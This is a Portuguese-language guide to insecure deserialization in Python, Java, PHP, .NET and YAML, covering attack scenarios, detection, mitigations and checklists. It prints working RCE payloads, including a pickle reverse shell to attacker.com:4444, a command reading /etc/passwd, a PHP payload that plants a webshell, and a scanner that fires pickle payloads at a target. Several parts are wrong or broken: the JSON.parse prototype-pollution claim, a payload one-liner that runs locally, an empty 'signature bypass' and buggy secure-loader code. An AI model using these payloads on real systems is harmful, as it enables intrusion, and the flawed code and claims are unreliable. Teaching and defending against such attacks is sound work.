# Insecure Deserialization

## 📋 **Índice**

1. [Conceitos Fundamentais](#-conceitos-fundamentais)
2. [Mecanismos de Ataque](#-mecanismos-de-ataque)
3. [Identificação e Detecção](#-identificação-e-detecção)
4. [Exploração e Impacto](#-exploração-e-impacto)
5. [Mitigação e Correção](#-mitigação-e-correção)
6. [Ferramentas e Testes](#-ferramentas-e-testes)
7. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Conceitos Fundamentais**

### **O que é Insecure Deserialization**

Insecure Deserialization é uma vulnerabilidade que ocorre quando dados não confiáveis são desserializados sem validação adequada, permitindo que atacantes execute código arbitrário, escale privilégios ou realize outros ataques.

### **Princípio de Funcionamento**

```
Dados Maliciosos → Desserialização Insegura → Execução de Código
         ↓                   ↓                       ↓
   Objeto serializado   Processo sem validação   Comprometimento
   com payload          aceita dados não         do sistema
                        confiáveis
```

### **Características da Vulnerabilidade**

* **Explora a confiança** no processo de desserialização
* **Pode levar a RCE** (Remote Code Execution)
* **Afeta múltiplas linguagens** e formatos
* **Frequentemente de alta severidade**
* **Complexa de detectar** em testes automatizados

### **Conceitos Técnicos**

#### **Serialização**

```python
# Exemplo de serialização em Python
import pickle

class User:
    def __init__(self, username, role):
        self.username = username
        self.role = role

user = User("admin", "administrator")
serialized_data = pickle.dumps(user)
# b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x08username\x94\x8c\x05admin\x94\x8c\x04role\x94\x8c\radministrator\x94ub.'
```

#### **Desserialização**

```python
# Processo de desserialização
deserialized_user = pickle.loads(serialized_data)
print(deserialized_user.username)  # "admin"
print(deserialized_user.role)     # "administrator"
```

### **Formatos de Serialização Comuns**

```json
{
  "linguagens": {
    "Java": ["Java Serialization", "XML", "JSON", "YAML"],
    "Python": ["pickle", "marshal", "JSON", "YAML"],
    "PHP": ["serialize()", "JSON", "XML"],
    "Ruby": ["Marshal", "YAML", "JSON"],
    ".NET": ["BinaryFormatter", "XML", "JSON"]
  },
  "formatos": {
    "binario": ["pickle", "Java Serialization", "BinaryFormatter"],
    "texto": ["JSON", "XML", "YAML"],
    "propriedades": ["ini", "properties"]
  }
}
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Aplicação Vulnerável
    participant S as Sistema Alvo

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Identifica pontos de desserialização
    A->>V: Analisa formato e linguagem
    V->>A: Retorna informações (erros, headers)
    
    Note over A,V: FASE 2: Desenvolvimento do Payload
    A->>A: Cria payload malicioso serializado
    A->>A: Explora gadgets chains disponíveis
    A->>A: Codifica payload para formato alvo
    
    Note over A,V: FASE 3: Injeção do Payload
    A->>V: Envia dados serializados maliciosos
    V->>V: Processa desserialização sem validação
    V->>S: Executa código/commands do payload
    
    Note over A,S: FASE 4: Exploração
    S->>S: Executa ações maliciosas
    S-->>A: Retorna resultados/acesso
```

### **Cenário 1: Python pickle RCE**

```python
import pickle
import os
import base64

# Payload malicioso para RCE
class RCEPayload:
    def __reduce__(self):
        # Comando a ser executado na desserialização
        return (os.system, ('id > /tmp/pwned.txt',))

# Gerar payload serializado
malicious_pickle = pickle.dumps(RCEPayload())

# Codificar para transporte
encoded_payload = base64.b64encode(malicious_pickle).decode()

print(f"Payload malicioso: {encoded_payload}")

# Simulação de desserialização vulnerável
try:
    decoded_payload = base64.b64decode(encoded_payload)
    pickle.loads(decoded_payload)  # RCE ocorre aqui!
    print("Payload executado com sucesso!")
except Exception as e:
    print(f"Erro: {e}")
```

### **Cenário 2: Java Deserialization**

```java
// Exemplo de payload Java usando CommonsCollections
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import java.util.HashMap;

// Gadget chain para RCE
public class JavaDeserializationPayload {
    public static void main(String[] args) throws Exception {
        // Usando Ysoserial para gerar payload
        // java -jar ysoserial.jar CommonsCollections5 'id > /tmp/pwned' > payload.ser
    }
}

// Código vulnerável
try {
    FileInputStream fileIn = new FileInputStream("payload.ser");
    ObjectInputStream in = new ObjectInputStream(fileIn);
    Object obj = in.readObject();  // Desserialização perigosa
    in.close();
    fileIn.close();
} catch (Exception e) {
    e.printStackTrace();
}
```

### **Cenário 3: PHP Object Injection**

```php
<?php
// Classe vulnerável
class VulnerableClass {
    public $data;
    
    public function __destruct() {
        // Gadget: método chamado durante destruição
        if (isset($this->data['cmd'])) {
            system($this->data['cmd']);
        }
    }
}

// Payload serializado
$serialized_payload = 'O:15:"VulnerableClass":1:{s:4:"data";a:1:{s:3:"cmd";s:10:"id;whoami";}}';

// Desserialização insegura
$obj = unserialize($serialized_payload);  // RCE ocorre aqui!

// Ou através de entrada de usuário
if (isset($_COOKIE['user_data'])) {
    $user_data = unserialize($_COOKIE['user_data']);  // Vulnerável!
}
?>
```

### **Cenário 4: JSON Deserialization Attacks**

```javascript
// Node.js - desserialização insegura com JSON.parse + prototype pollution
const maliciousJSON = `{
  "__proto__": {
    "isAdmin": true
  },
  "username": "attacker"
}`;

// Desserialização "segura" mas ainda vulnerável
const user = JSON.parse(maliciousJSON);

// Prototype pollution ocorre
console.log({}.isAdmin);  // true - pollution bem-sucedido

// Exemplo com construtor manipulation
const payload = `{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}`;
```

### **Cenário 5: YAML Deserialization**

```python
import yaml
import os

# Payload YAML malicioso para PyYAML
malicious_yaml = """
!!python/object/apply:os.system
args: ['id > /tmp/yaml_pwned.txt']
"""

# Desserialização insegura
yaml.load(malicious_yaml)  # RCE ocorre aqui!

# Versão segura (mas ainda cuidadosa)
yaml.safe_load(malicious_yaml)  # Lançaria exceção
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos críticos para teste
- Desserialização de dados de entrada do usuário
- Uso de formatos binários de serialização
- Ausência de validação de integridade
- Configurações permissivas de desserialização
- Uso de bibliotecas conhecidamente vulneráveis
```

### **Locais Comuns de Desserialização**

```
Cookies:
  session=base64_encoded_serialized_object
  user_prefs=serialized_data

APIs:
  POST /api/data { "serialized": "base64_data" }
  GET /export?data=serialized_object

Storage:
  LocalStorage/sessionStorage com objetos serializados
  Bancos de dados com campos BLOB serializados

Parâmetros:
  ?data=rO0ABXQAA... (base64 encoded serialized)
  ?config=serialized_config_object
```

### **Metodologia de Teste Manual**

#### **1. Identificação de Pontos de Entrada**

```javascript
// Ferramentas do navegador - inspecionar dados
// Cookies
document.cookie

// LocalStorage
Object.keys(localStorage).forEach(key => {
    console.log(key, localStorage.getItem(key));
});

// Requests de rede
// Verificar por dados base64 ou estrutura serializada
```

#### **2. Análise de Assinaturas de Formatos**

```python
# Identificar formatos de serialização
def identify_serialization_format(data):
    signatures = {
        'java_serialized': b'\xac\xed\x00\x05',  # Magic number Java
        'python_pickle': b'\x80',                # Protocol version pickle
        'php_serialized': b'O:',                 # Object serialized
        'net_binary': b'\x00\x01\x00\x00\x00',   # .NET BinaryFormatter
    }
    
    for format_name, signature in signatures.items():
        if data.startswith(signature):
            return format_name
    return 'unknown'

# Testar com dados de exemplo
test_data = b'\xac\xed\x00\x05test'
print(identify_serialization_format(test_data))  # 'java_serialized'
```

#### **3. Teste com Payloads Simples**

```python
import base64
import requests

def test_deserialization(target_url, cookie_name):
    """Testar vulnerabilidade de desserialização"""
    
    # Payloads de teste para diferentes linguagens
    test_payloads = {
        'java': r'\xac\xed\x00\x05test',
        'python_pickle': base64.b64encode(b'\x80\x04test').decode(),
        'php': 'O:8:"stdClass":0:{}'
    }
    
    for lang, payload in test_payloads.items():
        cookies = {cookie_name: payload}
        
        try:
            response = requests.get(target_url, cookies=cookies)
            
            # Analisar resposta por indicadores
            if any(indicator in response.text for indicator in ['error', 'exception', 'stack trace']):
                print(f"Possível vulnerabilidade {lang} detectada")
                print(f"Resposta: {response.text[:500]}")
                
        except Exception as e:
            print(f"Erro no teste {lang}: {e}")
```

### **Técnicas de Fingerprinting**

#### **1. Detecção de Linguagem via Erros**

```http
POST /api/user HTTP/1.1
Content-Type: application/json

{"data": "rO0ABXQAA"}  # Java serialized magic bytes

# Respostas típicas:
# Java: java.io.IOException, InvalidClassException
# Python: pickle.UnpicklingError, _pickle.UnpicklingError
# PHP: unserialize(): Error at offset
# .NET: System.Runtime.Serialization.SerializationException
```

#### **2. Payloads de Reconhecimento**

```python
# Payload para detectar ambiente
class ReconPayload:
    def __reduce__(self):
        return (eval, ('__import__("sys").version',))

recon_pickle = pickle.dumps(ReconPayload())
```

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

#### **1. Gadget Chains em Java**

```java
// Exemplo de gadget chain usando CommonsCollections
// Comando: java -jar ysoserial.jar CommonsCollections5 'command' > payload.ser

// Chains populares:
// - CommonsCollections1-7
// - Groovy1
// - Spring1-2
// - Jdk7u21
// - Jdk8u20
```

#### **2. Python Pickle Gadgets**

```python
import pickle
import subprocess

class ComplexRCE:
    def __reduce__(self):
        # Executar comando e capturar output
        return (
            subprocess.Popen,
            (['/bin/sh', '-c', 'id; ls -la; cat /etc/passwd'],),
            {'stdout': -1, 'stderr': -1}
        )

# Gerar payload
payload = pickle.dumps(ComplexRCE())

# Para exploração remota
class ReverseShell:
    def __reduce__(self):
        return (
            os.system,
            ('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',)
        )
```

#### **3. PHP Object Injection Chains**

```php
<?php
// Gadget chain usando classes existentes
class FileWriter {
    private $filename;
    private $data;
    
    public function __destruct() {
        file_put_contents($this->filename, $this->data);
    }
}

class SystemCommand {
    private $command;
    
    public function __wakeup() {
        system($this->command);
    }
}

// Payload para escrever webshell
$payload = serialize(new FileWriter());
$payload = 'O:10:"FileWriter":2:{s:17:"'."\0".'FileWriter'."\0".'filename";s:10:"shell.php";s:14:"'."\0".'FileWriter'."\0".'data";s:31:"<?php system($_GET[\"cmd\"]); ?>";}';

// Ou para execução direta
$payload = 'O:13:"SystemCommand":1:{s:20:"'."\0".'SystemCommand'."\0".'command";s:10:"id; whoami";}';
?>
```

#### **4. .NET BinaryFormatter Exploitation**

```csharp
// Gerar payload com ysoserial.net
// ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "command"

// Exemplo de código vulnerável
IFormatter formatter = new BinaryFormatter();
Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read);
object obj = formatter.Deserialize(stream);  // Desserialização perigosa
```

### **Bypass de Proteções**

#### **1. Bypass de Assinatura Digital**

```python
# Se a aplicação verifica assinatura antes de desserializar
import hmac
import hashlib

def sign_data(data, secret):
    return hmac.new(secret, data, hashlib.sha256).digest()

# Bypass: injetar payload válido e modificar após assinatura
original_data = b'safe_data'
signature = sign_data(original_data, b'secret')

# Ataque: manter assinatura válida mas modificar dados
malicious_data = b'malicious_payload'
# Explorar vulnerabilidade no processo de verificação
```

#### **2. Bypass de Validação de Classe**

```java
// Se a aplicação usa whitelist de classes
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("com.app.SafeClass1", "com.app.SafeClass2");
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Classe não permitida: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// Bypass: usar classes na whitelist que possam ser exploradas
// ou explorar desserialização nativa que ignora validações
```

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_critico": {
    "rce": [
      "Execução remota de código",
      "Comprometimento completo do servidor",
      "Acesso a nível de sistema operacional"
    ],
    "privilege_escalation": [
      "Escalação de privilégios",
      "Acesso a dados sensíveis",
      "Controle administrativo"
    ]
  },
  "impacto_alto": {
    "data_manipulation": [
      "Modificação de dados",
      "Injeção de dados maliciosos",
      "Corrupção de base de dados"
    ],
    "authentication_bypass": [
      "Bypass de autenticação",
      "Acesso não autorizado",
      "Impersonation de usuários"
    ]
  },
  "impacto_medio": {
    "dos": [
      "Negação de serviço",
      "Consumo excessivo de recursos",
      "Crash da aplicação"
    ],
    "information_disclosure": [
      "Vazamento de informações",
      "Exposição de dados internos",
      "Revelação de estrutura da aplicação"
    ]
  }
}
```

#### **Cadeia de Ataque Completa**

```
Reconhecimento → Desenvolvimento Payload → Injeção → Desserialização → Execução
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Não Desserializar Dados Não Confiáveis**

```python
# ABORDAGEM PREFERIDA: Evitar desserialização completamente
# Usar formatos seguros como JSON com validação de esquema

import json
import jsonschema

def safe_data_processing(json_data):
    schema = {
        "type": "object",
        "properties": {
            "username": {"type": "string"},
            "role": {"type": "string", "enum": ["user", "admin"]}
        },
        "required": ["username", "role"]
    }
    
    try:
        # Validar esquema antes de processar
        jsonschema.validate(instance=json_data, schema=schema)
        
        # Processar dados validados
        user = User(username=json_data['username'], role=json_data['role'])
        return user
        
    except jsonschema.ValidationError as e:
        raise ValueError(f"Dados inválidos: {e}")
```

#### **2. Implementação de Whitelist Rigorosa**

```java
public class SecureObjectInputStream extends ObjectInputStream {
    private final Set<String> allowedClasses;
    
    public SecureObjectInputStream(InputStream input, Set<String> allowedClasses) throws IOException {
        super(input);
        this.allowedClasses = allowedClasses;
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        
        if (!allowedClasses.contains(className)) {
            throw new SecurityException("Desserialização de classe não permitida: " + className);
        }
        
        return super.resolveClass(desc);
    }
}

// Uso seguro
Set<String> allowedClasses = Set.of(
    "com.company.SafeDataObject",
    "com.company.UserPreferences"
);

try (SecureObjectInputStream sois = new SecureObjectInputStream(inputStream, allowedClasses)) {
    Object obj = sois.readObject();
    // Processar objeto seguro
}
```

#### **3. Validação de Integridade e Assinatura**

```python
import hmac
import hashlib
import pickle

class SecureDeserializer:
    def __init__(self, secret_key):
        self.secret_key = secret_key
    
    def serialize(self, obj):
        """Serializar com assinatura"""
        data = pickle.dumps(obj)
        signature = hmac.new(self.secret_key, data, hashlib.sha256).digest()
        return signature + data
    
    def deserialize(self, signed_data):
        """Desserializar com verificação de assinatura"""
        if len(signed_data) < 32:
            raise ValueError("Dados assinados muito curtos")
        
        signature = signed_data[:32]
        data = signed_data[32:]
        
        # Verificar assinatura
        expected_signature = hmac.new(self.secret_key, data, hashlib.sha256).digest()
        if not hmac.compare_digest(signature, expected_signature):
            raise SecurityError("Assinatura inválida")
        
        # Whitelist de classes permitidas
        allowed_classes = {'SafeClass', 'UserData'}
        
        # Criar unpickler seguro
        class RestrictedUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                full_name = f"{module}.{name}"
                if full_name not in allowed_classes:
                    raise SecurityError(f"Classe não permitida: {full_name}")
                return super().find_class(module, name)
        
        return RestrictedUnpickler(io.BytesIO(data)).load()
```

### **Padrões de Codificação Seguros**

#### **1. Python - Alternativas Seguras**

```python
import json
import ast
import pickle

# OPÇÃO 1: JSON para dados simples
def safe_json_deserialize(json_data):
    try:
        data = json.loads(json_data)
        # Validação adicional do schema
        if not isinstance(data, dict):
            raise ValueError("Dados devem ser um objeto")
        return data
    except json.JSONDecodeError as e:
        raise ValueError(f"JSON inválido: {e}")

# OPÇÃO 2: ast.literal_eval para estruturas Python (limitado)
def safe_literal_eval(data):
    try:
        return ast.literal_eval(data)
    except (ValueError, SyntaxError) as e:
        raise ValueError(f"Dados inválidos: {e}")

# OPÇÃO 3: Pickle com restrições
def safe_pickle_loads(data, allowed_classes=None):
    if allowed_classes is None:
        allowed_classes = {'__main__.SafeClass'}
    
    class RestrictedUnpickler(pickle.Unpickler):
        def find_class(self, module, name):
            full_name = f"{module}.{name}"
            if full_name not in allowed_classes:
                raise pickle.UnpicklingError(f"Classe {full_name} não permitida")
            return super().find_class(module, name)
    
    return RestrictedUnpickler(io.BytesIO(data)).load()
```

#### **2. Java - Configurações Seguras**

```java
// Configuração JVM para prevenir desserialização maliciosa
// Adicionar às opções da JVM:
// -Djava.io.serialization.filter=serialization-filter.properties

// Conteúdo do arquivo serialization-filter.properties:
// java.io.Serializable=maxdepth=5;maxarray=1000;maxrefs=1000

// Ou programaticamente:
public class GlobalSerializationFilter {
    static {
        ObjectInputFilter.Config.setSerialFilter(
            ObjectInputFilter.merge(
                ObjectInputFilter.Config.getSerialFilter(),
                ObjectInputFilter.rejectFilter(
                    cl -> cl.getName().startsWith("org.apache.commons.collections"),
                    ObjectInputFilter.Status.UNDECIDED
                )
            )
        );
    }
}
```

#### **3. PHP - Validação Rigorosa**

```php
<?php
class SecureDeserialization {
    private $allowed_classes = ['SafeData', 'UserSettings'];
    
    public function safe_unserialize($data) {
        // Verificar se contém objetos antes de desserializar
        if (preg_match('/O:\d+:/', $data)) {
            throw new SecurityException("Dados contêm objetos serializados");
        }
        
        // Usar apenas para dados primitivos
        $result = unserialize($data, ['allowed_classes' => $this->allowed_classes]);
        
        if ($result === false && $data !== 'b:0;') {
            throw new InvalidArgumentException("Dados serializados inválidos");
        }
        
        return $result;
    }
    
    // Alternativa: usar JSON
    public function safe_json_decode($json_data) {
        $data = json_decode($json_data, true);
        
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new InvalidArgumentException("JSON inválido: " . json_last_error_msg());
        }
        
        return $data;
    }
}

// Uso seguro
$secure_deserializer = new SecureDeserialization();

try {
    $data = $secure_deserializer->safe_json_decode($_POST['data']);
    // Processar dados validados
} catch (Exception $e) {
    error_log("Tentativa de desserialização insegura: " . $e->getMessage());
    http_response_code(400);
}
?>
```

### **Configurações de Ambiente Seguras**

#### **1. Configuração YAML Segura**

```python
import yaml

# CONFIGURAÇÃO PERIGOSA (padrão)
# data = yaml.load(yaml_data)  # EVITAR!

# CONFIGURAÇÃO SEGURA
def safe_yaml_load(yaml_data):
    # Usar SafeLoader
    try:
        data = yaml.safe_load(yaml_data)
        return data
    except yaml.YAMLError as e:
        raise ValueError(f"YAML inválido: {e}")

# Para carregamento mais restritivo
class RestrictedLoader(yaml.SafeLoader):
    def __init__(self, stream):
        super().__init__(stream)
        # Desabilitar construtores perigosos
        self.yaml_constructors = {
            key: value for key, value in self.yaml_constructors.items()
            if not key.startswith('!!python/')
        }

def restricted_yaml_load(yaml_data):
    return yaml.load(yaml_data, Loader=RestrictedLoader)
```

#### **2. Headers de Segurança HTTP**

```nginx
# Adicionar headers para prevenir certos ataques
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header Content-Security-Policy "default-src 'self'";

# Limitar tamanho de requests para prevenir DoS
client_max_body_size 1M;
```

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Scanner de Desserialização Personalizado**

```python
#!/usr/bin/env python3
# deserialization_scanner.py

import requests
import base64
import pickle
import os
from urllib.parse import urljoin

class DeserializationScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def generate_payloads(self):
        """Gerar payloads para diferentes linguagens"""
        payloads = {}
        
        # Python pickle payload
        class PickleRCE:
            def __reduce__(self):
                return (os.system, ('echo "PICKLE_RCE_SUCCESS"',))
        
        payloads['python_pickle'] = {
            'data': base64.b64encode(pickle.dumps(PickleRCE())).decode(),
            'indicator': 'PICKLE_RCE_SUCCESS'
        }
        
        # PHP serialized payload
        payloads['php_serialized'] = {
            'data': 'O:8:"stdClass":1:{s:3:"cmd";s:22:"echo "PHP_RCE_SUCCESS"";}',
            'indicator': 'PHP_RCE_SUCCESS'
        }
        
        # Java serialized magic bytes (detection only)
        payloads['java_magic'] = {
            'data': base64.b64encode(b'\xac\xed\x00\x05').decode(),
            'indicator': 'java.io'
        }
        
        return payloads
    
    def test_cookie_injection(self, cookie_name):
        """Testar injeção via cookies"""
        payloads = self.generate_payloads()
        
        for payload_name, payload_data in payloads.items():
            cookies = {cookie_name: payload_data['data']}
            
            try:
                response = self.session.get(self.target, cookies=cookies, timeout=10)
                
                if payload_data['indicator'] in response.text:
                    print(f"✅ Vulnerabilidade detectada: {payload_name}")
                    self.vulnerabilities.append({
                        'type': 'cookie_injection',
                        'payload': payload_name,
                        'location': 'cookie',
                        'confidence': 'high'
                    })
                
            except requests.RequestException as e:
                print(f"❌ Erro no teste {payload_name}: {e}")
    
    def test_post_parameters(self, endpoint, parameter_name):
        """Testar injeção via parâmetros POST"""
        payloads = self.generate_payloads()
        
        for payload_name, payload_data in payloads.items():
            data = {parameter_name: payload_data['data']}
            
            try:
                response = self.session.post(
                    urljoin(self.target, endpoint),
                    data=data,
                    timeout=10
                )
                
                if payload_data['indicator'] in response.text:
                    print(f"✅ Vulnerabilidade detectada: {payload_name} em {endpoint}")
                    self.vulnerabilities.append({
                        'type': 'post_parameter',
                        'payload': payload_name,
                        'endpoint': endpoint,
                        'parameter': parameter_name,
                        'confidence': 'high'
                    })
                
            except requests.RequestException as e:
                print(f"❌ Erro no teste {payload_name}: {e}")
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities,
            'recommendations': [
                "Implementar whitelist de classes para desserialização",
                "Usar formatos seguros como JSON com validação de schema",
                "Assinar e verificar integridade dos dados serializados",
                "Atualizar bibliotecas de serialização para versões seguras"
            ]
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = DeserializationScanner('https://alvo.com')
    
    # Testar cookies comuns
    common_cookies = ['session', 'user_data', 'preferences', 'data']
    for cookie in common_cookies:
        scanner.test_cookie_injection(cookie)
    
    # Testar endpoints comuns
    endpoints = [
        ('/api/data', 'data'),
        ('/api/user', 'user_data'),
        ('/import', 'import_data')
    ]
    
    for endpoint, param in endpoints:
        scanner.test_post_parameters(endpoint, param)
    
    report = scanner.generate_report()
    print("\n" + "="*50)
    print("RELATÓRIO DE VULNERABILIDADES")
    print("="*50)
    print(f"Alvo: {report['target']}")
    print(f"Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
    
    for vuln in report['details']:
        print(f"- {vuln['type']}: {vuln.get('payload', 'N/A')}")
```

#### **2. Ferramentas Especializadas**

```bash
# Java Deserialization Scanners
java -jar ysoserial.jar # Gerar payloads
java -jar marshalsec.jar # Servidor LDAP para gadgets

# Python
python -c "import pickle, os; print(pickle.dumps(os.system('id')))" # Gerar payload

# Ferramentas de análise estática
# - Semgrep para padrões de desserialização insegura
# - CodeQL queries para desserialização
# - Checkmarx, Fortify

# Burp Suite Extensions
# - Java Deserialization Scanner
# - PHP Object Injection Check
# - .NET Serialization Scanner
```

### **Testes Manuais com Ferramentas de Desenvolvimento**

#### **1. Análise de Requests/Responses**

```javascript
// Interceptar e modificar requests no navegador
// No console do desenvolvedor:

// Monitorar todos os requests
const originalFetch = window.fetch;
window.fetch = function(...args) {
    console.log('Fetch:', args);
    return originalFetch.apply(this, args);
};

// Verificar cookies serializados
document.cookie.split(';').forEach(cookie => {
    const [name, value] = cookie.split('=');
    if (value && value.length > 100) { // Possível dado serializado
        console.log('Cookie grande possivelmente serializado:', name);
        try {
            // Tentar detectar formato
            if (atob(value).includes('java')) {
                console.log('Possível Java serializado:', name);
            }
        } catch(e) {}
    }
});
```

#### **2. Teste de Blind Deserialization**

```python
import requests
import time

def blind_deserialization_test(target_url, parameter_name):
    """Teste para desserialização blind usando time-based detection"""
    
    # Payload que causa delay se executado
    class TimeBasedPayload:
        def __reduce__(self):
            return (time.sleep, (5,))  # 5 segundos de delay
    
    malicious_data = pickle.dumps(TimeBasedPayload())
    
    start_time = time.time()
    
    try:
        response = requests.post(
            target_url,
            data={parameter_name: base64.b64encode(malicious_data).decode()},
            timeout=10
        )
    except requests.exceptions.Timeout:
        print("⚠️  Possível vulnerabilidade - request timeout")
        return True
    
    elapsed = time.time() - start_time
    
    if elapsed > 4.5:  # Considerável delay
        print(f"⚠️  Possível vulnerabilidade - delay de {elapsed:.2f}s")
        return True
    
    return False
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Desserialização Insegura**

* [ ] **Evitar Desserialização de Dados Não Confiáveis**
  * [ ] Usar formatos seguros (JSON, XML) em vez de serialização binária
  * [ ] Validar schema de dados antes do processamento
  * [ ] Implementar whitelist de classes/estruturas permitidas
* [ ] **Implementar Controles de Segurança**
  * [ ] Assinar e verificar integridade dos dados serializados
  * [ ] Limitar profundidade e complexidade da desserialização
  * [ ] Implementar timeout para operações de desserialização
* [ ] **Configuração de Ambiente**
  * [ ] Usar loaders seguros (YAML SafeLoader, etc.)
  * [ ] Atualizar bibliotecas de serialização regularmente
  * [ ] Configurar JVM/ambiente com filtros de serialização
* [ ] **Monitoramento e Detecção**
  * [ ] Logar tentativas de desserialização
  * [ ] Monitorar por padrões de desserialização maliciosa
  * [ ] Implementar WAF rules para detectar payloads conhecidos

### **Checklist de Auditoria**

* [ ] **Identificação de Pontos de Desserialização**
  * [ ] Buscar por chamadas de desserialização no código
  * [ ] Verificar cookies, parâmetros e headers
  * [ ] Analisar APIs e endpoints de importação de dados
* [ ] **Teste de Exploração**
  * [ ] Testar com payloads para diferentes linguagens
  * [ ] Verificar bypass de whitelists existentes
  * [ ] Testar desserialização blind com indicadores de tempo
* [ ] **Análise de Dependências**
  * [ ] Verificar versões de bibliotecas de serialização
  * [ ] Identificar gadget chains disponíveis
  * [ ] Analisar configurações de ambiente

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitorar logs por erros de desserialização
  * [ ] Alertar para payloads suspeitos
  * [ ] Detectar comportamentos anormais pós-desserialização
* [ ] **Contenção**
  * [ ] Bloquear IPs maliciosos
  * [ ] Revogar sessões comprometidas
  * [ ] Isolar sistemas afetados
* [ ] **Correção**
  * [ ] Implementar whitelists rigorosas
  * [ ] Atualizar bibliotecas vulneráveis
  * [ ] Revisar e corrigir código vulnerável

***

## 📊 **Exemplos de Implementação Segura**

### **Configuração Completa Python**

```python
import pickle
import hmac
import hashlib
import json
from typing import Any, Set

class SecureSerialization:
    def __init__(self, secret_key: bytes, allowed_classes: Set[str] = None):
        self.secret_key = secret_key
        self.allowed_classes = allowed_classes or {'__main__.SafeData'}
    
    def safe_serialize(self, obj: Any) -> str:
        """Serialização segura com assinatura"""
        # Preferir JSON para dados simples
        if self._is_json_serializable(obj):
            return json.dumps({'type': 'json', 'data': obj})
        
        # Para objetos complexos, usar pickle com assinatura
        pickled_data = pickle.dumps(obj)
        signature = hmac.new(self.secret_key, pickled_data, hashlib.sha256).digest()
        
        combined = signature + pickled_data
        return base64.b64encode(combined).decode()
    
    def safe_deserialize(self, data: str) -> Any:
        """Desserialização segura com verificação"""
        try:
            decoded = base64.b64decode(data)
        except Exception:
            raise SecurityError("Dados codificados inválidos")
        
        if len(decoded) < 32:
            raise SecurityError("Dados assinados muito curtos")
        
        signature = decoded[:32]
        pickled_data = decoded[32:]
        
        # Verificar assinatura
        expected_signature = hmac.new(self.secret_key, pickled_data, hashlib.sha256).digest()
        if not hmac.compare_digest(signature, expected_signature):
            raise SecurityError("Assinatura inválida")
        
        # Unpickler restrito
        class RestrictedUnpickler(pickle.Unpickler):
            def find_class(self, module: str, name: str) -> Any:
                full_name = f"{module}.{name}"
                if full_name not in self.allowed_classes:
                    raise SecurityError(f"Classe não permitida: {full_name}")
                return super().find_class(module, name)
        
        try:
            return RestrictedUnpickler(io.BytesIO(pickled_data)).load()
        except pickle.UnpicklingError as e:
            raise SecurityError(f"Erro na desserialização: {e}")
    
    def _is_json_serializable(self, obj: Any) -> bool:
        """Verificar se objeto é serializável em JSON"""
        try:
            json.dumps(obj)
            return True
        except (TypeError, ValueError):
            return False

# Uso seguro
SECRET_KEY = os.urandom(32)
serializer = SecureSerialization(SECRET_KEY, {'__main__.User', '__main__.Settings'})

# Serializar
user_data = User(name="john", role="user")
safe_data = serializer.safe_serialize(user_data)

# Desserializar
try:
    restored_user = serializer.safe_deserialize(safe_data)
except SecurityError as e:
    print(f"Tentativa de desserialização insegura: {e}")
```

### **Configuração Java Segura**

```java
public class SecureSerializationHelper {
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.company.User",
        "com.company.Settings",
        "java.util.ArrayList",
        "java.util.HashMap"
    );
    
    public static byte[] safeSerialize(Serializable obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
        }
        
        return baos.toByteArray();
    }
    
    public static Object safeDeserialize(byte[] data) 
            throws IOException, ClassNotFoundException, SecurityException {
        
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        
        try (SecureObjectInputStream sois = new SecureObjectInputStream(bais, ALLOWED_CLASSES)) {
            return sois.readObject();
        }
    }
    
    private static class SecureObjectInputStream extends ObjectInputStream {
        private final Set<String> allowedClasses;
        
        public SecureObjectInputStream(InputStream in, Set<String> allowedClasses) 
                throws IOException {
            super(in);
            this.allowedClasses = allowedClasses;
        }
        
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) 
                throws IOException, ClassNotFoundException {
            
            String className = desc.getName();
            
            // Verificar whitelist
            if (!allowedClasses.contains(className)) {
                throw new SecurityException(
                    "Tentativa de desserialização de classe não permitida: " + className
                );
            }
            
            return super.resolveClass(desc);
        }
    }
}

// Uso seguro
try {
    User user = new User("john", "user");
    byte[] serialized = SecureSerializationHelper.safeSerialize(user);
    
    // Armazenar/transmitir com segurança...
    
    User deserialized = (User) SecureSerializationHelper.safeDeserialize(serialized);
} catch (SecurityException e) {
